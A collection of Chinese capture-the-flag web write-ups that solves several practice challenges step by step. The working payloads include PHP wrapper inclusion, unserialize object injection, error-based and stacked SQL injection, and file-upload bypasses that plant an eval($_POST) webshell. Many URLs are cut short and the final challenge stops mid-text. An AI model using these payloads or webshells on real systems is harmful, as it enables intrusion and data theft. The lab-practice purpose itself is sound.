文件包含以及伪协议相关参考如下:资料1 资料2
[ZJCTF 2019]NiZhuanSiWei 原始信息 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
解题 这题如果不知道php伪协议,绝对大坑。
源码分析 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
关键变量分析 参数text
$text = $_GET ["text" ];?text=data:
参数file
$file = $_GET ["file" ];file=php: ?text=data: PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } }
变量password
$password = $_GET ["password" ];class Flag { public $file ='flag.php' ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $f = new Flag ();echo (serialize ($f ));O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;} password=O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
最终payload ?text=data: <br><h1>welcome to the zjctf</h1></br> <br>oh u find it </br> <!--but i cant give it to u now--> <?php if (2 ===3 ){ return ("flag{dd52775b-d222-4ac7-bc2a-1e2a53a37152}" ); } ?> <br>U R SO CLOSE !
[极客大挑战 2019]HardSQL 原始信息 依然是给个登录框,进行sql注入。
解题 这题和之前做的那些题目大不相同,原因就是:
1 .首先,这题显然已经不能用普通的SQL注入直接测注点了2 .其次,和上次一样会回显一些报错信息。3 .最后,题目提示了相关信息:HardSQL
尝试进行报错注入
1 .测试时发现了 "空格" 被过滤,考虑使用其他方式代替空格。2 .过滤了 "and" ,"*" ,"=" ,"\"," -"," <>"
尝试套壳报错注入
http: 或者 http: 上面写着的“插入点”就是插入sql注入语句的意思。 下面只写注入的SQL语句,不写上面那个繁杂的格式了
sql注入语句
database ()XPATH syntax error: '~geek~' select (group_concat (table_name))from (information_schema.tables)where (table_schema)like ("geek" )XPATH syntax error: '~H4rDsq1~' select (group_concat (column_name))from (information_schema.columns)where (table_name)like ('H4rDsq1' )XPATH syntax error: '~id,username,password~' select (group_concat (username))from (geek.H4rDsq1)XPATH syntax error: '~flag~' select (group_concat (password))from (geek.H4rDsq1)XPATH syntax error: '~flag{ffae077e-cef8-4bb3-a190-48' select (group_concat (right (password,31 )))from (geek.H4rDsq1)where (id)like (1 )XPATH syntax error: '~7e-cef8-4bb3-a190-48ef59defdc2}' 合并为: flag{ffae077e-cef8-4 bb3-a190-48 ef59defdc2}'
总结 SQL报错注入
``` ```php include 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }
解题 我们的目的就是突破层层限制,达到最内维的高亮限制flag
源码分析:
if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); }
我勒个去,刮痧伤害啊这题。 分分钟解决:
get: http: post: passwd=1234567 a
[网鼎杯 2020 青龙组]AreUSerialz 原始信息 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
解题 源码解读 第一层
if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
第二层
function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; }
第三层
class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }
启发:解决了不可见字符\00*\00的问题:Sk1y博客 其次这个博客就没啥用了(毕竟全都推出来了,就差一步特殊字符)
其实上面三层代码都写清楚了,这里我就简单梳理下:
首先是核心代码,核心代码(第一层代码) 其次是检测函数 最后是那个庞大的类 生成payload的时候,记得要url编码
payload:
<?php class FileHandler { public $op = 2 ; public $filename = 'flag.php' ; public $content ; } $a = new FileHandler ;var_dump (urlencode (serialize ($a )));
返回的结果:
url: http: ?str=O%3 A11%3 A%22 FileHandler%22 %3 A3%3 A%7 Bs%3 A2%3 A%22 op%22 %3 Bi%3 A2%3 Bs%3 A8%3 A%22 filename%22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 Bs%3 A7%3 A%22 content%22 %3 BN%3 B%7 D 最终网页源代码: <code><span style="color: #000000" > <span style="color: #0000BB" ><?php<br /><br /></span><span style="color: #007700" >include (</span><span style="color: #DD0000" >"flag.php" </span><span style="color: #007700" >);<br /><br /></span><span style="color: #0000BB" >highlight_file</span><span style="color: #007700" >(</span><span style="color: #0000BB" >__FILE__ </span><span style="color: #007700" >);<br /><br />class   ;</span ><span style ="color : #0000BB ">FileHandler   ;</span ><span style ="color : #007700"> {<br /><br /> protected </span><span style="color: #0000BB" >$op </span><span style="color: #007700" >;<br /> protected </span><span style="color: #0000BB" >$filename </span><span style="color: #007700" >;<br /> protected </span><span style="color: #0000BB" >$content </span><span style="color: #007700" >;<br /><br /> function   ;</span><span style="color: #0000BB" >__construct</span><span style="color: #007700" >() {<br /> </span><span style="color: #0000BB" >$op </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"1" </span><span style="color: #007700" >;<br /> </span><span style="color: #0000BB" >$filename </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"/tmp/tmpfile" </span><span style="color: #007700" >;<br /> </span><span style="color: #0000BB" >$content </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"Hello World!" </span><span style="color: #007700" >;<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >process</span><span style="color: #007700" >();<br /> }<br /><br /> public function   ;</span><span style="color: #0000BB" >process</span><span style="color: #007700" >() {<br /> if (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >op </span><span style="color: #007700" >== </span><span style="color: #DD0000" >"1" </span><span style="color: #007700" >) {<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >write</span><span style="color: #007700" >();<br /> } else if (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >op </span><span style="color: #007700" >== </span><span style="color: #DD0000" >"2" </span><span style="color: #007700" >) {<br /> </span><span style="color: #0000BB" >$res </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >read</span><span style="color: #007700" >();<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$res </span><span style="color: #007700" >);<br /> } else {<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #DD0000" >"Bad Hacker!" </span><span style="color: #007700" >);<br /> }<br /> }<br /><br /> private function   ;</span><span style="color: #0000BB" >write</span><span style="color: #007700" >() {<br /> if (isset (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >filename</span><span style="color: #007700" >) && isset (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >content</span><span style="color: #007700" >)) {<br /> if (</span><span style="color: #0000BB" >strlen</span><span style="color: #007700" >((string )</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >content</span><span style="color: #007700" >) > </span><span style="color: #0000BB" >100 </span><span style="color: #007700" >) {<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #DD0000" >"Too long!" </span><span style="color: #007700" >);<br /> die ();<br /> }<br /> </span><span style="color: #0000BB" >$res </span><span style="color: #007700" >= </span><span style="color: #0000BB" >file_put_contents</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >filename</span><span style="color: #007700" >, </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >content</span><span style="color: #007700" >);<br /> if (</span><span style="color: #0000BB" >$res </span><span style="color: #007700" >) </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #DD0000" >"Successful!" </span><span style="color: #007700" >);<br /> else </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #DD0000" >"Failed!" </span><span style="color: #007700" >);<br /> } else {<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #DD0000" >"Failed!" </span><span style="color: #007700" >);<br /> }<br /> }<br /><br /> private function   ;</span><span style="color: #0000BB" >read</span><span style="color: #007700" >() {<br /> </span><span style="color: #0000BB" >$res </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"" </span><span style="color: #007700" >;<br /> if (isset (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >filename</span><span style="color: #007700" >)) {<br /> </span><span style="color: #0000BB" >$res </span><span style="color: #007700" >= </span><span style="color: #0000BB" >file_get_contents</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >filename</span><span style="color: #007700" >);<br /> }<br /> return </span><span style="color: #0000BB" >$res </span><span style="color: #007700" >;<br /> }<br /><br /> private function   ;</span><span style="color: #0000BB" >output</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$s </span><span style="color: #007700" >) {<br /> echo </span><span style="color: #DD0000" >"[Result]: <br>" </span><span style="color: #007700" >;<br /> echo </span><span style="color: #0000BB" >$s </span><span style="color: #007700" >;<br /> }<br /><br /> function   ;</span><span style="color: #0000BB" >__destruct</span><span style="color: #007700" >() {<br /> if (</span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >op </span><span style="color: #007700" >=== </span><span style="color: #DD0000" >"2" </span><span style="color: #007700" >)<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >op </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"1" </span><span style="color: #007700" >;<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >content </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"" </span><span style="color: #007700" >;<br /> </span><span style="color: #0000BB" >$this </span><span style="color: #007700" >-></span><span style="color: #0000BB" >process</span><span style="color: #007700" >();<br /> }<br /><br />}<br /><br />function   ;</span><span style="color: #0000BB" >is_valid</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$s </span><span style="color: #007700" >) {<br /> for (</span><span style="color: #0000BB" >$i </span><span style="color: #007700" >= </span><span style="color: #0000BB" >0 </span><span style="color: #007700" >; </span><span style="color: #0000BB" >$i </span><span style="color: #007700" >< </span><span style="color: #0000BB" >strlen</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$s </span><span style="color: #007700" >); </span><span style="color: #0000BB" >$i </span><span style="color: #007700" >++)<br /> if (!(</span><span style="color: #0000BB" >ord</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$s </span><span style="color: #007700" >[</span><span style="color: #0000BB" >$i </span><span style="color: #007700" >]) >= </span><span style="color: #0000BB" >32 </span><span style="color: #007700" >&& </span><span style="color: #0000BB" >ord</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$s </span><span style="color: #007700" >[</span><span style="color: #0000BB" >$i </span><span style="color: #007700" >]) <= </span><span style="color: #0000BB" >125 </span><span style="color: #007700" >))<br /> return </span><span style="color: #0000BB" >false </span><span style="color: #007700" >;<br /> return </span><span style="color: #0000BB" >true </span><span style="color: #007700" >;<br />}<br /><br />if (isset (</span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >{</span><span style="color: #DD0000" >'str' </span><span style="color: #007700" >})) {<br /><br /> </span><span style="color: #0000BB" >$str </span><span style="color: #007700" >= (string )</span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'str' </span><span style="color: #007700" >];<br /> if (</span><span style="color: #0000BB" >is_valid</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$str </span><span style="color: #007700" >)) {<br /> </span><span style="color: #0000BB" >$obj </span><span style="color: #007700" >= </span><span style="color: #0000BB" >unserialize</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$str </span><span style="color: #007700" >);<br /> }<br /><br />}<br /></span> </span> </code>[Result]: <br><?php $flag ='flag{c023425c-d019-42da-85a6-8c5af280cf8f}' ;
[SUCTF 2019]CheckIn 原始信息 很好,这次的源码地址没有崩。
源码地址
$userdir = "uploads/" . md5 ($_SERVER ["REMOTE_ADDR" ]);if (!file_exists ($userdir )) { mkdir ($userdir , 0777 , true ); } file_put_contents ($userdir . "/index.php" , "" );if (isset ($_POST ["upload" ])) { $tmp_name = $_FILES ["fileUpload" ]["tmp_name" ]; $name = $_FILES ["fileUpload" ]["name" ]; if (!$tmp_name ) { die ("filesize too big!" ); } if (!$name ) { die ("filename cannot be empty!" ); } $extension = substr ($name , strrpos ($name , "." ) + 1 ); if (preg_match ("/ph|htacess/i" , $extension )) { die ("illegal suffix!" ); } if (mb_strpos (file_get_contents ($tmp_name ), "<?" ) !== FALSE ) { die ("<? in contents!" ); } $image_type = exif_imagetype ($tmp_name ); if (!$image_type ) { die ("exif_imagetype:not image!" ); } $upload_file_path = $userdir . "/" . $name ; move_uploaded_file ($tmp_name , $upload_file_path ); echo "Your dir " . $userdir . ' <br>' ; echo 'Your files : <br>' ; var_dump (scandir ($userdir )); }
解题 说实在,咋一看有点复杂。分析一波:
$userdir = "uploads/" . md5 ($_SERVER ["REMOTE_ADDR" ]);if (!file_exists ($userdir )) { mkdir ($userdir , 0777 , true ); } file_put_contents ($userdir . "/index.php" , "" );if (isset ($_POST ["upload" ])) { $tmp_name = $_FILES ["fileUpload" ]["tmp_name" ]; $name = $_FILES ["fileUpload" ]["name" ]; if (!$tmp_name ) { die ("filesize too big!" ); } if (!$name ) { die ("filename cannot be empty!" ); } $extension = substr ($name , strrpos ($name , "." ) + 1 ); if (preg_match ("/ph|htacess/i" , $extension )) { die ("illegal suffix!" ); } if (mb_strpos (file_get_contents ($tmp_name ), "<?" ) !== FALSE ) { die ("<? in contents!" ); } $image_type = exif_imagetype ($tmp_name ); if (!$image_type ) { die ("exif_imagetype:not image!" ); } $upload_file_path = $userdir . "/" . $name ; move_uploaded_file ($tmp_name , $upload_file_path ); echo "Your dir " . $userdir . ' <br>' ; echo 'Your files : <br>' ; var_dump (scandir ($userdir )); }
我们的目的,就一个:传码一把梭
后门构造
Content-Disposition: form-data; name="fileUpload" ; filename="sss.jpg" Content-Type: image/jpeg GIF98a <script language="php" >eval ($_POST [1 ]);</script> -----------------------------63782609029444 Content-Disposition: form-data; name="upload" 提交 -----------------------------63782609029444 --
脚本的图片是构造好了,但是关键是解析的环境……
任意文件解析的htaccess被封了,说明无法直接使用这个文件。
能出现这个可能就意味着这道题是文件包含题。
但是看到这个我想到了另外一种可能,也许这个代表的是修改配置文件,所以应该使用其他配置文件?
Content-Disposition: form-data; name="fileUpload" ; filename=".user.ini" Content-Type: image/jpeg GIF98a auto_prepend_file = sss.jpg -----------------------------63782609029444 Content-Disposition: form-data; name="upload" 提交 -----------------------------63782609029444 --
尝试上传.user.ini后,访问指定路径
get: http: post: 1 =system ('cat /flag' );
总结 文件上传,文件解析漏洞。
容易掉坑的地方:
陷入思维误区:误以为要使用.htacess
路径访问错误:上传正确的文件后访问路径出问题导致无法正确的打开后门
[GXYCTF2019]BabyUpload 原始信息 <?php session_start ();echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"uploaded\" /> <input type=\"submit\" name=\"submit\" value=\"上传\" /> </form>" ;error_reporting (0 );if (!isset ($_SESSION ['user' ])){ $_SESSION ['user' ] = md5 ((string )time () . (string )rand (100 , 1000 )); } if (isset ($_FILES ['uploaded' ])) { $target_path = getcwd () . "/upload/" . md5 ($_SESSION ['user' ]); $t_path = $target_path . "/" . basename ($_FILES ['uploaded' ]['name' ]); $uploaded_name = $_FILES ['uploaded' ]['name' ]; $uploaded_ext = substr ($uploaded_name , strrpos ($uploaded_name ,'.' ) + 1 ); $uploaded_size = $_FILES ['uploaded' ]['size' ]; $uploaded_tmp = $_FILES ['uploaded' ]['tmp_name' ]; if (preg_match ("/ph/i" , strtolower ($uploaded_ext ))){ die ("后缀名不能有ph!" ); } else { if ((($_FILES ["uploaded" ]["type" ] == " " ) || ($_FILES ["uploaded" ]["type" ] == "image/jpeg" ) || ($_FILES ["uploaded" ]["type" ] == "image/pjpeg" )) && ($_FILES ["uploaded" ]["size" ] < 2048 )){ $content = file_get_contents ($uploaded_tmp ); if (preg_match ("/\<\?/i" , $content )){ die ("诶,别蒙我啊,这标志明显还是php啊" ); } else { mkdir (iconv ("UTF-8" , "GBK" , $target_path ), 0777 , true ); move_uploaded_file ($uploaded_tmp , $t_path ); echo "{$t_path} succesfully uploaded!" ; } } else { die ("上传类型也太露骨了吧!" ); } } } ?>
解题 源码分析
<?php if (!isset ($_SESSION ['user' ])){ $_SESSION ['user' ] = md5 ((string )time () . (string )rand (100 , 1000 )); } if (isset ($_FILES ['uploaded' ])) { $target_path = getcwd () . "/upload/" . md5 ($_SESSION ['user' ]); $t_path = $target_path . "/" . basename ($_FILES ['uploaded' ]['name' ]); $uploaded_name = $_FILES ['uploaded' ]['name' ]; $uploaded_ext = substr ($uploaded_name , strrpos ($uploaded_name ,'.' ) + 1 ); $uploaded_size = $_FILES ['uploaded' ]['size' ]; $uploaded_tmp = $_FILES ['uploaded' ]['tmp_name' ]; if (preg_match ("/ph/i" , strtolower ($uploaded_ext ))){ die ("后缀名不能有ph!" ); } else { if ((($_FILES ["uploaded" ]["type" ] == " " ) || ($_FILES ["uploaded" ]["type" ] == "image/jpeg" ) || ($_FILES ["uploaded" ]["type" ] == "image/pjpeg" )) && ($_FILES ["uploaded" ]["size" ] < 2048 )){ $content = file_get_contents ($uploaded_tmp ); if (preg_match ("/\<\?/i" , $content )){ die ("诶,别蒙我啊,这标志明显还是php啊" ); } else { mkdir (iconv ("UTF-8" , "GBK" , $target_path ), 0777 , true ); move_uploaded_file ($uploaded_tmp , $t_path ); echo "{$t_path} succesfully uploaded!" ; } } else { die ("上传类型也太露骨了吧!" ); } } } ?>
整体看下来,貌似还是……文件上传+文件解析错误的那个漏洞?
说了半天,限制没那么严格,枉费我浪费时间解读前面的那md5路径编码……
WP 简单来说,两个数据包:
-----------------------------14187232819665 Content-Disposition: form-data; name="uploaded" ; filename=".htaccess" Content-Type: image/jpeg AddType application/x-httpd-php .jpg -----------------------------14187232819665 Content-Disposition: form-data; name="submit" 上传 -----------------------------14187232819665 --
上面是配置文件的数据包,下面写后门的数据包
Content-Disposition: form-data; name="uploaded" ; filename="aaa.jpg" Content-Type: image/jpeg <script language="php" >eval ($_POST ['x' ]);</script> -----------------------------14187232819665 Content-Disposition: form-data; name="submit" 上传 -----------------------------14187232819665 --
这个数据包会返回一个路径信息,访问那个路径下的文件,菜刀直接连接即可。
/var /www/html/upload/dac0d37642a94fc94e8ddd449caaff6c/aaa.jpg succesfully uploaded! http:
这里为啥用菜刀呢?因为system相关的几个函数被封了,菜刀连接更方便点。
[GXYCTF2019]BabySQli 写黑白盒测试的原因:写白盒的源码分析写到后面,去查了下资料发现这是黑盒测试。
黑盒测试 原始信息 原始信息其实就一个:
get: http: post: name=admin'Order by 4#&pw=2
源码还藏了这个东西:
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 base32解码:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== base64解码:select * from user where username = '$name'
解题 按照常规的SQL注入测试流程测试
post: name=admin'Order by 3#&pw=2 ' return : wrong pass! post: name=admin'Order by 4#&pw=2 ' return : Error : Unknown column '4' in 'order clause' post: name=admin'union select 1,2,3#&pw=1 ' return : wrong pass! post: name=1 'union select 1,' admin',' c4ca4238a0b923820dcc509a6f75849b'# -&pw=1 ' return : wrong pass!
白盒分析 原始信息 网页的源码在git上面,现在进行的是白盒审计。 审计的内容为处理文件的代码,其它代码实际意义不大,
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Do you know who am I?</title> <?php require "config.php" ;require "flag.php" ;if (get_magic_quotes_gpc ()) { function stripslashes_deep ($value ) { $value = is_array ($value ) ? array_map ('stripslashes_deep' , $value ) : stripslashes ($value ); return $value ; } $_POST = array_map ('stripslashes_deep' , $_POST ); $_GET = array_map ('stripslashes_deep' , $_GET ); $_COOKIE = array_map ('stripslashes_deep' , $_COOKIE ); $_REQUEST = array_map ('stripslashes_deep' , $_REQUEST ); } mysqli_query ($con ,'SET NAMES UTF8' );$name = $_POST ['name' ];$password = $_POST ['pw' ];$t_pw = md5 ($password );$sql = "select * from user where username = '" .$name ."'" ;$result = mysqli_query ($con , $sql );if (preg_match ("/\(|\)|\=|or/" , $name )){ die ("do not hack me!" ); } else { if (!$result ) { printf ("Error: %s\n" , mysqli_error ($con )); exit (); } else { $arr = mysqli_fetch_row ($result ); if ($arr [1 ] == "admin" ){ if (md5 ($password ) == $arr [2 ]){ echo $flag ; } else { die ("wrong pass!" ); } } else { die ("wrong user!" ); } } } ?>
解题 源码分析: 这次情况和之前不一样。之前是黑盒审计,现在是白盒审计。
第一层 require "config.php" ;require "flag.php" ;if (get_magic_quotes_gpc ()) { function stripslashes_deep ($value ) { $value = is_array ($value )?array_map ('stripslashes_deep' , $value ) : stripslashes ($value ); return $value ; } $_POST = array_map ('stripslashes_deep' , $_POST ); $_GET = array_map ('stripslashes_deep' , $_GET ); $_COOKIE = array_map ('stripslashes_deep' , $_COOKIE ); $_REQUEST = array_map ('stripslashes_deep' , $_REQUEST ); } mysqli_query ($con ,'SET NAMES UTF8' );$name = $_POST ['name' ];$password = $_POST ['pw' ];$t_pw = md5 ($password );$sql = "select * from user where username = '" .$name ."'" ;$result = mysqli_query ($con , $sql );
第一层咋一看没什么有价值的信息,实际上透露出了SQL查询查的是用户名 看第二层
第二层 if (preg_match ("/\(|\)|\=|or/" , $name )){ die ("do not hack me!" ); } else { if (!$result ) { printf ("Error: %s\n" , mysqli_error ($con )); exit (); } else { $arr = mysqli_fetch_row ($result ); if ($arr [1 ] == "admin" ){ if (md5 ($password ) == $arr [2 ]){ echo $flag ; } else { die ("wrong pass!" ); } } else { die ("wrong user!" ); } } } ?>
摘出上面没理解的核心代码
$arr = mysqli_fetch_row ($result );if (md5 ($password ) == $arr [2 ]){ echo $flag ; }
简单再示范下伪造密码的流程:
[ [1 ,'username' ,'password' ], [2 ,'kali' ,'123' ] ] [ [1 ,'username' ,'password' ], [2 ,'kali' ,'123' ], [3 ,'admin' ,'xxxxx' ] ] [3 ,'admin' ,'xxxxx' ][0 ] => 取出 'xxxxx' if 'xxxxx' == $_GET ['password' ] print $flag ;
所以payload还是使用上面黑盒那个。 能巧妙的利用数据库的语法特性来做题,我真的挺佩服第一个做出这道题的大佬的。
[GYCTF2020]Blacklist 原始信息 提交到当前页面的查询:
<form method="get" > 姿势: <input type="text" name="inject" value="1" > <input type="submit" > </form>
还有一段提示词
Black list is so weak for you,isn't it 黑名单对你来说太弱了不是吗
说明本题使用的是黑名单。
解题 你要是问我灵感哪来的?我只能说,历史记录记录了打DVWA的记录,便宜了下现在的我……
# 1. 先顺着它的意思输入 input: 1 output: array (2 ) { [0 ]= > string(1 ) "1" [1 ]= > string(7 ) "hahahah" } # 2. 试试直接查表,并且是分割式的查 input: 1 ';show tables;' output: array (2 ) { [0 ]= > string(1 ) "1" [1 ]= > string(7 ) "hahahah" } array (1 ) { [0 ]= > string(8 ) "FlagHere" } array (1 ) { [0 ]= > string(5 ) "words" } # 3. 测测黑名单是什么东西 input: 1 ';select * from FlagHere;' output: return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject); # 4. 这里需要使用的是读取程序内容的代码: input: 1 ';handler FlagHere open; handler FlagHere read first;' output: array (2 ) { [0 ]= > string(1 ) "1" [1 ]= > string(7 ) "hahahah" } array (1 ) { [0 ]= > string(42 ) "flag{df28f124-df18-4b9b-8c89-0473aee37b5b}" }
总结 这次收获不错,得到了另外一条能显示列信息的路子。
源头参照的WP
虽然是参照,但也仅参照替代select的部分,其它部分推推都能出来。
handler FlagHere open ; handler FlagHere read first ; handler dir_users open ; handler dir_users read first ;
handler相关的博客资料
[CISCN2019 华北赛区 Day2 Web1]Hack World 原始信息 信息1 : flag{} 里为 uuid。 All You Want Is In Table 'flag' and the column is 'flag' Now, just give the id of passage 您想要的只是表“flag”,列是“flag” 现在,只需给出通道的 id 信息2 : get: http: post: id=1
解题 fuzz字典盲扫 这次过滤的东西不是一般的多啊……
